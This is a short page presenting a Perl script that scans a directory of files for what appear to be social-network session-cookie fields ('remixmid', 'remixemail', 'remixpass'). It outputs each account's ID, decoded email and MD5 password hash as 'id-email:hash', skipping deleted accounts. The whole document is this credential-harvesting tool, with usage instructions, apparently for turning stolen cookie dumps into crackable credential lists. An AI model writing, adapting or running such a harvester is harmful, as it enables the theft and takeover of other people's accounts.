Extracts MD5 password hashes and credentials from files. Scans files in a directory, looks for remixmid (ID), remixemail (email), and remixpass (MD5 hash) patterns, URL-decodes email addresses, and outputs credentials in format: id-email:md5hash. Filters out deleted accounts.

Usage:

perl md5-coco.pl <directory>

Scans all files in directory for credential patterns and outputs extracted credentials.

Source Code

#!/usr/bin/perl
#
opendir ROOT, $ARGV[0];
my(@filelist) = readdir ROOT;
foreach $filename (@filelist) {
 if ($filename ne '.' and $filename ne '..') {
  open(FILE, "$ARGV[0]\\$filename") or die "file $filename fail...";
  $id = "";
  $mail = "";
  $pd5 = "";
  $i = 0;
  @rows = <FILE>;
  chomp(@rows);
  foreach $row (@rows) {
   if ($row =~ /remixmid/) {
    $id = $rows[$i+1];
   }
   if ($row =~ /remixemail/) {
    $mail = $rows[$i+1];
    $mail =~ s/%([0-9A-H]{2})/pack('C',hex($1))/egi;
   }
   if ($row =~ /remixpass/) {
    $pd5 = $rows[$i+1];
   }
  $i++;
  }
  if ($mail && $pd5 && ($mail !~ "deleted")) {
   print "$id-$mail:$pd5\n";
  }
 }
}
Loading tracks SoundCloud